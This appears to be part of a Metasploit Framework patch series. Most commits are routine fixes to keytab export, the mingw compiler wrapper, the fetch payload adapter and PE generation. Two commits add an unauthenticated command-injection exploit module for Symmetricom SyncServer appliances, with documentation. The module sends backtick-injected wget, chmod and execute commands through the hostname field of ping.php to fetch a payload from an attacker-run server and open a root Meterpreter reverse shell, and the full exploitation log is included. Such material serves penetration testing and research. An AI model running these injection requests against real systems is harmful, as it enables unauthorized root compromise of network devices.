Time.at(0).utc, + vno8: datastore['KVNO'], + vno: datastore['KVNO'], + keyblock: { + enctype: cred.private.enctype, + data: cred.private.key + } } - } + ] end # Additionally append NTHASH values, which don't require a salt nthash_creds = framework.db.creds(type: 'Metasploit::Credential::NTLMHash') keytab_entries += nthash_creds.map do |cred| nthash = cred.private.to_s.split(':').last - { - realm: cred.realm&.value.to_s, - components: cred.public.username.split('/'), - name_type: Rex::Proto::Kerberos::Model::NameType::NT_PRINCIPAL, - timestamp: Time.at(0).utc, - vno8: datastore['KVNO'], - vno: datastore['KVNO'], - keyblock: { - enctype: Rex::Proto::Kerberos::Crypto::Encryption::RC4_HMAC, - data: [nthash].pack('H*') + [ + cred.id, + { + realm: cred.realm&.value.to_s, + components: cred.public.username.split('/'), + name_type: Rex::Proto::Kerberos::Model::NameType::NT_PRINCIPAL, + timestamp: Time.at(0).utc, + vno8: datastore['KVNO'], + vno: datastore['KVNO'], + keyblock: { + enctype: Rex::Proto::Kerberos::Crypto::Encryption::RC4_HMAC, + data: [nthash].pack('H*') + } } - } + ] end if keytab_entries.empty? print_status('No entries to export') end - keytab.key_entries.concat(keytab_entries) + keytab.key_entries.concat(keytab_entries.sort_by { |id, _entry| id }.to_h.values) write_keytab(keytab_path, keytab) end diff --git a/spec/modules/auxiliary/admin/kerberos/keytab_spec.rb b/spec/modules/auxiliary/admin/kerberos/keytab_spec.rb index e374aca9ddf3f..cc3e2bd9496fe 100644 --- a/spec/modules/auxiliary/admin/kerberos/keytab_spec.rb +++ b/spec/modules/auxiliary/admin/kerberos/keytab_spec.rb @@ -295,9 +295,9 @@ def report_creds( kvno type principal hash date ---- ---- --------- ---- ---- - 1 18 (AES256) user_with_krbkey@demo.local 63346133663331643634616661363438613664303864303737363536336531323338623937366430623930663739656130373231393433363832393465393239 #{Time.parse('1970-01-01 01:00:00 +0100').to_time} 1 23 (RC4_HMAC) user_without_realm@ e02bc503339d51f71d913c245d35b50b #{Time.parse('1970-01-01 01:00:00 +0100').to_time} 1 23 (RC4_HMAC) user_with_realm@example.local 32ede47af254546a82b1743953cc4950 #{Time.parse('1970-01-01 01:00:00 +0100').to_time} + 1 18 (AES256) user_with_krbkey@demo.local 63346133663331643634616661363438613664303864303737363536336531323338623937366430623930663739656130373231393433363832393465393239 #{Time.parse('1970-01-01 01:00:00 +0100').to_time} TABLE end From cb105d8978f6ea261f7d9c4c8b8d1b0055a18871 Mon Sep 17 00:00:00 2001 From: Professor Araout <41875074+araout42@users.noreply.github.com> Date: Tue, 13 Jun 2023 14:58:36 +0200 Subject: [PATCH 372/415] Update lib/metasploit/framework/compiler/mingw.rb Review made by @adfoster-r7 and tested by @araout Works perfect Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com> --- lib/metasploit/framework/compiler/mingw.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/metasploit/framework/compiler/mingw.rb b/lib/metasploit/framework/compiler/mingw.rb index 34eb8f00eb9ce..fcfff11fc45a6 100644 --- a/lib/metasploit/framework/compiler/mingw.rb +++ b/lib/metasploit/framework/compiler/mingw.rb @@ -114,7 +114,7 @@ def initialize(opts={}) @link_script = opts[:linker_script] @compile_options = opts[:compile_options] @opt_lvl = opts[:opt_lvl] - @include_dirs = '-iquote '+(opts[:include_dirs].join(' -iquote ') if opts[:include_dirs]) + @include_dirs = opts[:include_dirs] @mingw_bin = MINGW_X64 end From 9d315af25e2c7ffaa67270b4325334af32facd77 Mon Sep 17 00:00:00 2001 From: Professor Araout <41875074+araout42@users.noreply.github.com> Date: Tue, 13 Jun 2023 14:59:15 +0200 Subject: [PATCH 373/415] Update lib/metasploit/framework/compiler/mingw.rb Review made by @adfoster-r7 and tested by @ARaout Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com> --- lib/metasploit/framework/compiler/mingw.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/metasploit/framework/compiler/mingw.rb b/lib/metasploit/framework/compiler/mingw.rb index fcfff11fc45a6..6f67706d84462 100644 --- a/lib/metasploit/framework/compiler/mingw.rb +++ b/lib/metasploit/framework/compiler/mingw.rb @@ -91,7 +91,7 @@ def initialize(opts={}) @link_script = opts[:linker_script] @compile_options = opts[:compile_options] @opt_lvl = opts[:opt_lvl] - @include_dirs = '-iquote '+(opts[:include_dirs].join(' -iquote ') if opts[:include_dirs]) + @include_dirs = opts[:include_dirs] @mingw_bin = MINGW_X86 end From 0b320f620982f249a11e80bb82514e102c0743f0 Mon Sep 17 00:00:00 2001 From: Professor Araout <41875074+araout42@users.noreply.github.com> Date: Tue, 13 Jun 2023 14:59:22 +0200 Subject: [PATCH 374/415] Update lib/metasploit/framework/compiler/mingw.rb Review made by @adfoster-r7 and tested by @ARaout Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com> --- lib/metasploit/framework/compiler/mingw.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/metasploit/framework/compiler/mingw.rb b/lib/metasploit/framework/compiler/mingw.rb index 6f67706d84462..d652bf61b1a36 100644 --- a/lib/metasploit/framework/compiler/mingw.rb +++ b/lib/metasploit/framework/compiler/mingw.rb @@ -36,7 +36,7 @@ def build_cmd(src) cmd << "#{src_file} -I #{INCLUDE_DIR} " if self.include_dirs cmd << " #{self.include_dirs} " - end + cmd << "#{self.include_dirs.map { |include_dir| "-iquote #{include_dir}" }.join(' ')} " if self.include_dirs.any? cmd << "-o #{exe_file} " # gives each function its own section From 1fbfc8e4d458f5482ca1845c0285a94c9bab83c7 Mon Sep 17 00:00:00 2001 From: Professor Araout <41875074+araout42@users.noreply.github.com> Date: Tue, 13 Jun 2023 15:04:00 +0200 Subject: [PATCH 375/415] Update lib/metasploit/framework/compiler/mingw.rb Error in github review, replaced line 39 instead of 37-38-39 -> Fixed Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com> --- lib/metasploit/framework/compiler/mingw.rb | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/lib/metasploit/framework/compiler/mingw.rb b/lib/metasploit/framework/compiler/mingw.rb index d652bf61b1a36..4bf931fe81f84 100644 --- a/lib/metasploit/framework/compiler/mingw.rb +++ b/lib/metasploit/framework/compiler/mingw.rb @@ -34,9 +34,7 @@ def build_cmd(src) cmd << "#{self.mingw_bin} " cmd << "#{src_file} -I #{INCLUDE_DIR} " - if self.include_dirs - cmd << " #{self.include_dirs} " - cmd << "#{self.include_dirs.map { |include_dir| "-iquote #{include_dir}" }.join(' ')} " if self.include_dirs.any? + cmd << "#{self.include_dirs.map { |include_dir| "-iquote #{include_dir}" }.join(' ')} " if self.include_dirs.any? cmd << "-o #{exe_file} " # gives each function its own section From 09ae3828d0ca450345a0cab505efa2b39b75fb20 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Tue, 13 Jun 2023 09:02:42 -0500 Subject: [PATCH 376/415] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index dcf2341072eb1..7afc83550e31e 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -5408,7 +5408,7 @@ ], "targets": null, - "mod_time": "2023-03-08 16:15:24 +0000", + "mod_time": "2023-06-13 09:14:06 +0000", "path": "/modules/auxiliary/admin/kerberos/keytab.rb", "is_install_path": true, "ref_name": "admin/kerberos/keytab", From 9e773b3f35240a2dbc8bd888cc6b30e7b186c945 Mon Sep 17 00:00:00 2001 From: bwatters Date: Thu, 1 Jun 2023 09:32:57 -0500 Subject: [PATCH 377/415] Fix issue with info command and IP address check --- lib/msf/core/payload/adapter/fetch.rb | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index 285ae5b0a872d..0332aa373bede 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -86,7 +86,6 @@ def fetch_bindport def generate(opts = {}) opts[:arch] ||= module_info['AdaptedArch'] opts[:code] = super - check_srvhost @srvexe = generate_payload_exe(opts) cmd = generate_fetch_commands vprint_status("Command to run on remote host: #{cmd}") @@ -130,6 +129,11 @@ def handle_connection(conn, opts = {}) super end + def setup_handler + check_srvhost + super + end + def srvhost datastore['FETCH_SRVHOST'] end From 1af966029611688aea9de4b980712a6e1ce11145 Mon Sep 17 00:00:00 2001 From: bwatters Date: Mon, 12 Jun 2023 16:08:40 -0500 Subject: [PATCH 378/415] Add routable address type --- lib/msf/core/opt_address_routable.rb | 17 +++++++++++++++++ lib/msf/core/payload/adapter/fetch.rb | 14 ++++++++++++-- 2 files changed, 29 insertions(+), 2 deletions(-) create mode 100644 lib/msf/core/opt_address_routable.rb diff --git a/lib/msf/core/opt_address_routable.rb b/lib/msf/core/opt_address_routable.rb new file mode 100644 index 0000000000000..8379554035949 --- /dev/null +++ b/lib/msf/core/opt_address_routable.rb @@ -0,0 +1,17 @@ +# -*- coding: binary -*- + +module Msf + + ### + # + # Routable network address option. + # + ### + class OptAddressRoutable < OptAddress + + def valid?(value, check_empty: true) + return false if Rex::Socket.is_ip_addr?(value) && Rex::Socket.addr_atoi(value) == 0 + super + end + end +end diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index 0332aa373bede..deb5c687572ac 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -7,7 +7,7 @@ def initialize(*args) Msf::OptBool.new('FETCH_DELETE', [true, 'Attempt to delete the binary after execution', false]), Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces.', Rex::Text.rand_text_alpha(rand(8..12))], regex:/^[\S]*$/), Msf::OptPort.new('FETCH_SRVPORT', [true, 'Local port to use for serving payload', 8080]), - Msf::OptAddressLocal.new('FETCH_SRVHOST', [ true, 'Local IP to use for serving payload', "0.0.0.0"]), + Msf::OptAddressRoutable.new('FETCH_SRVHOST', [ true, 'Local IP to use for serving payload', "0.0.0.0"]), Msf::OptString.new('FETCH_URIPATH', [ false, 'Local URI to use for serving payload', '']), Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces.', ''], regex:/^[\S]*$/) ] @@ -30,12 +30,23 @@ def initialize(*args) end +<<<<<<< HEAD def check_srvhost if Rex::Socket.is_ip_addr?(srvhost) && Rex::Socket.addr_atoi(srvhost) == 0 raise ArgumentError, 'You must set FETCH_SRVHOST to a routable IP' end end +======= + def compatible?(mod) + if mod.type == Msf::MODULE_PAYLOAD && (mod.class.const_defined?(:CachedSize) && mod.class::CachedSize != :dynamic) && (mod.class::CachedSize >= 120_000) # echo does not have an unlimited amount of space + return false + end + super + end + + +>>>>>>> abf94ec9af (Add routable address type) # If no fetch URL is provided, we generate one based off the underlying payload data # This is because if we use a randomly-generated URI, the URI generated by venom and # Framework will not match. This way, we can build a payload in venom and a listener @@ -130,7 +141,6 @@ def handle_connection(conn, opts = {}) end def setup_handler - check_srvhost super end From c41483250ff9a22a3550d1b4e15ea2f77c30b3d2 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Tue, 13 Jun 2023 10:44:50 -0400 Subject: [PATCH 379/415] Fix an edge case in .to_win32pe When the entry point is after the payload, there woud occassionally be cases where `poff` and `eidx` to be invalid, causing `entry` to be truncated. `poff` should never be negative and `eidx` should reserve the 256 bytes that `entry` may occupy. --- lib/msf/util/exe.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 09b424a1802f4..a26b2c54553f8 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -306,8 +306,8 @@ def self.to_win32pe(framework, code, opts = {}) block = blocks.first # TODO: Allow the entry point in a different block - if payload.length + 256 > block[1] - raise RuntimeError, "The largest block in .text does not have enough contiguous space (need:#{payload.length+256} found:#{block[1]})" + if payload.length + 256 >= block[1] + raise RuntimeError, "The largest block in .text does not have enough contiguous space (need:#{payload.length+257} found:#{block[1]})" end # Make a copy of the entire .text section @@ -328,8 +328,8 @@ def self.to_win32pe(framework, code, opts = {}) poff += 256 eidx = rand(poff-(entry.length + 5)) else # place the entry pointer after the payload - poff -= 256 - eidx = rand(block[1] - (poff + payload.length)) + poff + payload.length + poff -= [256, poff].min + eidx = rand(block[1] - (poff + payload.length + 256)) + poff + payload.length end # Relative jump from the end of the nops to the payload From 0d85c9e38035bb54618fc581eaf337ff8fdfe7ef Mon Sep 17 00:00:00 2001 From: space-r7 Date: Tue, 13 Jun 2023 13:14:51 -0500 Subject: [PATCH 380/415] add module documentation --- .../linux/http/symmetricom_syncserver_rce.md | 838 ++++++++++++++++++ 1 file changed, 838 insertions(+) create mode 100644 documentation/modules/exploit/linux/http/symmetricom_syncserver_rce.md diff --git a/documentation/modules/exploit/linux/http/symmetricom_syncserver_rce.md b/documentation/modules/exploit/linux/http/symmetricom_syncserver_rce.md new file mode 100644 index 0000000000000..785922ebbbd13 --- /dev/null +++ b/documentation/modules/exploit/linux/http/symmetricom_syncserver_rce.md @@ -0,0 +1,838 @@ +## Vulnerable Application + +Symmetricom SyncServer is a Network Time Protocol (NTP) hardware appliance. +The current supported version is the S600 series. This module targets the end of life S100 +through S300 series which are still found in production and even exposed to the Internet at this time. + +The command injection vulnerability exists in the `hostname` parameter of `/controller/ping.php`. +No authentication is required due to a session handling vulnerability in affected versions which sends +a redirect to login yet still executes the command and displays the output if you ignore the redirect. +Only the first word of the command's output is displayed in the response. The following example request +would result in a response which includes `uid=0(root)`: + +``` +POST /controller/ping.php HTTP/1.1 +Host: 127.0.0.1 +Content-Length: 149 +Cache-Control: max-age=0 +Upgrade-Insecure-Requests: 1 +Origin: http://127.0.0.1 +Content-Type: application/x-www-form-urlencoded +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 +Referer: http://127.0.0.1/controller/ping.php +Accept-Encoding: gzip, deflate +Accept-Language: en-US,en;q=0.9 +Connection: close + +currentTab=ping&refreshMode=ðDirty=false&snmpCfgDirty=false&snmpTrapDirty=false&pingDirty=false&hostname=%60id%60&port=eth0&pingType=ping +``` + +The application strips out all known command injection characters except for backticks. In ping.php: + +``` +$hostnameEsc = preg_replace( + array('/;/', '/\|/', '/>/', '/&1`; + } + else + { + $cmdout = `$PING -c 5 -w 5 $ARGV[0] 2>&1`; + } +} + +...snip + +print "$cmdout"; +``` + +We believe that this vulnerability is the same as [CVE-2022-40022](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-40022). However, no details are published on this vulnerability other than vulnerability title and affected software version. We reached out to Microchip to ask if this is the same vulnerability and they have not responded at the time this was written. + +## Verification Steps + +Example steps: + +1. Start msfconsole +2. Do: `use exploit/linux/http/symmetricom_syncserver_rce` +3. Do: `set RHOSTS [IP]` +4. Do: `set SRVHOST [IP]` +5. Do: `set SRVPORT [port]` +6. Do: `set LHOST [IP]` +7. Do: `set LPORT [port]` +8. Do: `check` +9. If the target is vulnerable: +10. Do: `exploit` +11. You should get a meterpreter shell + +## Options + +### FILENAME + +The name of the payload to write. + +#### Additional information + +SRVHOST, SRVPORT, LHOST, and LPORT are required because a reverse shell is the only option for exploitation. +The server response to commands includes only the first word of output. Everything else is truncated +and you can't use the `>` character to write the command output to file, therefore this module implements +only a Meterpreter reverse shell. + +The server is limited on ports which it can connect back to for the reverse shell. Ports 25 and 80 were successfully +used when developing this module. + +## Scenarios + +``` +msf6 exploit(linux/http/symmetricom_syncserver_rce) > exploit +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. + +[*] Started reverse TCP handler on 192.168.143.50:25 +msf6 exploit(linux/http/symmetricom_syncserver_rce) > [*] Using URL: http://192.168.143.50/payload.elf +[*] 192.168.143.222:80 - Exploit started... +[*] 192.168.143.222:80 - Sending wget command... +#################### +# Request: +#################### +POST /controller/ping.php HTTP/1.1 +Host: 192.168.143.222 +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 +Content-Type: application/x-www-form-urlencoded +Content-Length: 231 + +currentTab=ping&refreshMode=dirtyðDirty=false&snmpCfgDirty=false&snmpTrapDirty=false&pingDirty=true&hostname=%60wget%24%7bIFS%7dhttp%3a//192.168.143.50/payload.elf%24%7bIFS%7d-O%24%7bIFS%7d/tmp/payload.elf%60&port=eth0&pingType=ping +[*] 192.168.143.222:80 - Payload request received: /payload.elf +#################### +# Response: +#################### +HTTP/1.1 302 Found +Date: Thu, 18 May 2023 14:13:53 GMT +Server: Apache +Set-Cookie: PHPSESSID=0943f04a12e46bb499725a4c2be0a9f3; path=/ +Location: ../login.php +Transfer-Encoding: chunked +Content-Type: text/html + + + + + + +Symmetricom SyncServer + + + + + + + + + + + + + +

+
+
+ + + + + + + + + + + + + + + + +
 
 
 
 + + +No Current Major or Minor Alarms + + +
+
+ + + + + + + + + + + + +
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ +
+
+
+ +
+
+ +
+
+ +
+
+ +
+
Network Ping Test
+ ++ + + + + + + + + + +
 
 
Ping -c 5 -w 5
  + + + + + + Ping + + Ping6 + +
 
+ + ++ + + +
Ping Output
+
+ ++ + + + + + + + + + + + +
Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]
[-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
[-M mtu discovery hint] [-S sndbuf]
[ -T timestamp option ] [ -Q tos ] [hop1 ...] destination
+
+
+
+ + + + + + + + + + + + +
+ +
+ + Apply + + + + Cancel + + + + + +
+
+ Pinging \`wget\$\{IFS\}http://192.168.143.50/payload.elf\$\{IFS\}-O\$\{IFS\}/tmp/payload.elf\`  +   +
+ +
+ +
+ pagehelp + pagerefresh +
+ + + + + +
+ + + + + + + +[*] 192.168.143.222:80 - Making payload executable... +#################### +# Request: +#################### +POST /controller/ping.php HTTP/1.1 +Host: 192.168.143.222 +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 +Content-Type: application/x-www-form-urlencoded +Content-Length: 190 + +currentTab=ping&refreshMode=dirtyðDirty=false&snmpCfgDirty=false&snmpTrapDirty=false&pingDirty=true&hostname=%60chmod%24%7bIFS%7d700%24%7bIFS%7d/tmp/payload.elf%60&port=eth0&pingType=ping +#################### +# Response: +#################### +HTTP/1.1 302 Found +Date: Thu, 18 May 2023 14:13:56 GMT +Server: Apache +Set-Cookie: PHPSESSID=92c047aa2d8aaadbfce5ce671817ef74; path=/ +Location: ../login.php +Transfer-Encoding: chunked +Content-Type: text/html + + + + + + +Symmetricom SyncServer + + + + + + + + + + + + + + +
+
+ + + + + + + + + + + + + + + + +
 
 
 
 + + +No Current Major or Minor Alarms + + +
+
+ + + + + + + + + + + + +
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ +
+
+
+ +
+
+ +
+
+ +
+
+ +
+
Network Ping Test
+ ++ + + + + + + + + + +
 
 
Ping -c 5 -w 5
  + + + + + + Ping + + Ping6 + +
 
+ + ++ + + +
Ping Output
+
+ ++ + + + + + + + + + + + +
Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]
[-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
[-M mtu discovery hint] [-S sndbuf]
[ -T timestamp option ] [ -Q tos ] [hop1 ...] destination
+
+
+
+ + + + + + + + + + + + +
+ +
+ + Apply + + + + Cancel + + + + + +
+
+ Pinging \`chmod\$\{IFS\}700\$\{IFS\}/tmp/payload.elf\`  +   +
+ +
+ +
+ pagehelp + pagerefresh +
+ + + + + +
+ + + + + + + +[*] 192.168.143.222:80 - Executing payload... +#################### +# Request: +#################### +POST /controller/ping.php HTTP/1.1 +Host: 192.168.143.222 +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 +Content-Type: application/x-www-form-urlencoded +Content-Length: 158 + +currentTab=ping&refreshMode=dirtyðDirty=false&snmpCfgDirty=false&snmpTrapDirty=false&pingDirty=true&hostname=%60/tmp/payload.elf%60&port=eth0&pingType=ping +[*] Transmitting intermediate stager...(106 bytes) +[*] Sending stage (1017704 bytes) to 192.168.143.222 +[*] Meterpreter session 1 opened (192.168.143.50:25 -> 192.168.143.222:52474) at 2023-05-18 10:14:04 -0400 + +msf6 exploit(linux/http/symmetricom_syncserver_rce) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > getuid +Server username: root +meterpreter > +#################### +# Response: +#################### +No response received +[*] Server stopped. + +meterpreter > + +``` From cbf7109c512150bf17f551de85441228b08c783c Mon Sep 17 00:00:00 2001 From: space-r7 Date: Tue, 13 Jun 2023 13:44:23 -0500 Subject: [PATCH 381/415] add rubocop fixes and some metadata --- .../linux/http/symmetricom_syncserver_rce.rb | 248 +++++++++--------- 1 file changed, 131 insertions(+), 117 deletions(-) diff --git a/modules/exploits/linux/http/symmetricom_syncserver_rce.rb b/modules/exploits/linux/http/symmetricom_syncserver_rce.rb index c7ad5c943cc1f..e5e55ab4b52f4 100644 --- a/modules/exploits/linux/http/symmetricom_syncserver_rce.rb +++ b/modules/exploits/linux/http/symmetricom_syncserver_rce.rb @@ -3,125 +3,139 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - class MetasploitModule < Msf::Exploit - include Msf::Exploit::EXE - include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::Remote::HttpServer::HTML +class MetasploitModule < Msf::Exploit + include Msf::Exploit::EXE + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer::HTML - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Symmetricom SyncServer Unauthenticated Remote Command Execution', - 'Description' => %q{ - This module exploits an unauthenticated command injection vulnerability in /controller/ping.php. - The S100 through S350 (End of Life) models should be vulnerable to unauthenticated exploitation due to a session handling - vulnerability. Later models require authentication which is not provided in this module because we can't test it. - The command injection vulnerability is patched in the S650 v2.2 (CVE-2022-40022). - Run 'check' first to determine if vulnerable. - }, - 'Author' => [ - 'Steve Campbell @lpha3ch0', # Exploit PoC, Metasploit module - 'Justin Fatuch Apt4hax', # Exploit PoC - 'Robert Bronstein' # Metasploit Module - ], - 'References' => [ - ['CVE', '2022-40022'], - ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2022-40022'] - ], - 'DisclosureDate' => 'TBD', - 'License' => MSF_LICENSE, - 'Platform' => 'linux', - 'Arch' => [ARCH_X86, ARCH_X64], - 'Targets' => - [ - [ 'Automatic', {} ], - ], - 'DefaultTarget' => 0 )) - register_options( - [ - OptString.new('FILENAME', [true, 'Payload filename', 'payload.elf']), - OptAddress.new('SRVHOST', [true, 'HTTP Server Bind Address', '127.0.1.1']), - OptInt.new('SRVPORT', [true, 'HTTP Server Port', '4444']) - ], self.class) - end + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Symmetricom SyncServer Unauthenticated Remote Command Execution', + 'Description' => %q{ + This module exploits an unauthenticated command injection vulnerability in /controller/ping.php. + The S100 through S350 (End of Life) models should be vulnerable to + unauthenticated exploitation due to a session handling vulnerability. + Later models require authentication which is not provided in this module because we can't test it. + The command injection vulnerability is patched in the S650 v2.2 (CVE-2022-40022). + Run 'check' first to determine if vulnerable. + }, + 'Author' => [ + 'Steve Campbell', # @lpha3ch0 - Exploit PoC, Metasploit module + 'Justin Fatuch Apt4hax', # Exploit PoC + 'Robert Bronstein' # Metasploit Module + ], + 'References' => [ + ['CVE', '2022-40022'], + ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2022-40022'] + ], + 'DisclosureDate' => '2022-08-31', + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Targets' => [ + [ 'Automatic', {} ], + ], + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [ CRASH_SAFE ], + 'Reliability' => [ REPEATABLE_SESSION ], + 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ] + } + ) + ) + register_options( + [ + OptString.new('FILENAME', [true, 'Payload filename', 'payload.elf']), + OptAddress.new('SRVHOST', [true, 'HTTP Server Bind Address', '127.0.1.1']), + OptInt.new('SRVPORT', [true, 'HTTP Server Port', '4444']) + ], self.class + ) + end - def primer - end - - def on_request_uri(cli, req) - @pl = generate_payload_exe - print_status("#{peer} - Payload request received: #{req.uri}") - send_response(cli, @pl) - end + def primer; end - def check - uri = '/controller/ping.php' - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => uri, - 'vars_post' => - { - 'currentTab' => 'ping', - 'refreshMode' => 'dirty', - 'ethDirty' => 'false', - 'snmpCfgDirty' => 'false', - 'snmpTrapDirty' => 'false', - 'pingDirty' => 'true', - 'hostname' => "\`id\`", - 'port' => 'eth0', - 'pingType' => 'ping' - } - }) - if res && res.body.to_s =~ /uid=0/ - Exploit::CheckCode::Vulnerable - else - Exploit::CheckCode::Safe - end - end + def on_request_uri(cli, req) + @pl = generate_payload_exe + print_status("#{peer} - Payload request received: #{req.uri}") + send_response(cli, @pl) + end - def request(cmd) - uri = "/controller/ping.php" - res = send_request_cgi({ - 'method' => 'POST', - 'Content-Type' => 'application/x-www-form-encoded', - 'uri' => uri, - 'vars_post' => - { - 'currentTab' => 'ping', - 'refreshMode' => 'dirty', - 'ethDirty' => 'false', - 'snmpCfgDirty' => 'false', - 'snmpTrapDirty' => 'false', - 'pingDirty' => 'true', - 'hostname' => cmd, - 'port' => 'eth0', - 'pingType' => 'ping' - } - }) - end - - def exploit - srvhost=datastore['SRVHOST'] - srvport=datastore['SRVPORT'] - filename = datastore['FILENAME'] - resource_uri="/"+filename - shell_path = "/tmp/" - cmds=["\`wget${IFS}http://"+srvhost+"/"+filename+"${IFS}-O${IFS}"+shell_path+filename+"\`", - "\`chmod${IFS}700${IFS}"+shell_path+filename+"\`", - "\`"+shell_path+filename+"\`"] - start_service({'Uri' => { - 'Proc' => Proc.new { |cli, req| - on_request_uri(cli, req)}, - 'Path' => resource_uri - }}) - print_status("#{rhost}:#{rport} - Exploit started...") - print_status("#{rhost}:#{rport} - Sending wget command...") - request(cmds[0]) - sleep(3) - print_status("#{rhost}:#{rport} - Making payload executable...") - request(cmds[1]) - sleep(3) - print_status("#{rhost}:#{rport} - Executing payload...") - request(cmds[2]) - sleep(3) - end + def check + uri = '/controller/ping.php' + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => uri, + 'vars_post' => + { + 'currentTab' => 'ping', + 'refreshMode' => 'dirty', + 'ethDirty' => 'false', + 'snmpCfgDirty' => 'false', + 'snmpTrapDirty' => 'false', + 'pingDirty' => 'true', + 'hostname' => "\`id\`", + 'port' => 'eth0', + 'pingType' => 'ping' + } + }) + if res && res.body.to_s =~ /uid=0/ + Exploit::CheckCode::Vulnerable + else + Exploit::CheckCode::Safe end + end + + def request(cmd) + uri = '/controller/ping.php' + send_request_cgi({ + 'method' => 'POST', + 'Content-Type' => 'application/x-www-form-encoded', + 'uri' => uri, + 'vars_post' => + { + 'currentTab' => 'ping', + 'refreshMode' => 'dirty', + 'ethDirty' => 'false', + 'snmpCfgDirty' => 'false', + 'snmpTrapDirty' => 'false', + 'pingDirty' => 'true', + 'hostname' => cmd, + 'port' => 'eth0', + 'pingType' => 'ping' + } + }) + end + + def exploit + srvhost = datastore['SRVHOST'] + srvport = datastore['SRVPORT'] + filename = datastore['FILENAME'] + resource_uri = '/' + filename + shell_path = '/tmp/' + cmds = [ + "\`wget${IFS}http://" + srvhost + '/' + filename + '${IFS}-O${IFS}' + shell_path + filename + "\`", + "\`chmod${IFS}700${IFS}" + shell_path + filename + "\`", + "\`" + shell_path + filename + "\`" + ] + start_service({ + 'Uri' => { + 'Proc' => proc { |cli, req| + on_request_uri(cli, req) + }, + 'Path' => resource_uri + } + }) + print_status("#{rhost}:#{rport} - Exploit started...") + print_status("#{rhost}:#{rport} - Sending wget command...") + request(cmds[0]) + sleep(3) + print_status("#{rhost}:#{rport} - Making payload executable...") + request(cmds[1]) + sleep(3) + print_status("#{rhost}:#{rport} - Executing payload...") + request(cmds[2]) + sleep(3) + end +end From 401820ddfb19171327c7e0ac99f6aa113bde945a Mon Sep 17 00:00:00 2001 From: Metasploit Date: Tue, 13 Jun 2023 14:50:28 -0500 Subject: [PATCH 382/415] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 66 +++++++++++++++++++++++++++++++++++ 1 file changed, 66 insertions(+) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 7afc83550e31e..c8872783ecaa5 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -71804,6 +71804,72 @@ "session_types": false, "needs_cleanup": true }, + "exploit_linux/http/terramaster_unauth_rce_cve_2022_24990": { + "name": "TerraMaster TOS 4.2.29 or lower - Unauthenticated RCE chaining CVE-2022-24990 and CVE-2022-24989", + "fullname": "exploit/linux/http/terramaster_unauth_rce_cve_2022_24990", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2022-03-07", + "type": "exploit", + "author": [ + "h00die-gr3y ", + "Octagon Networks", + 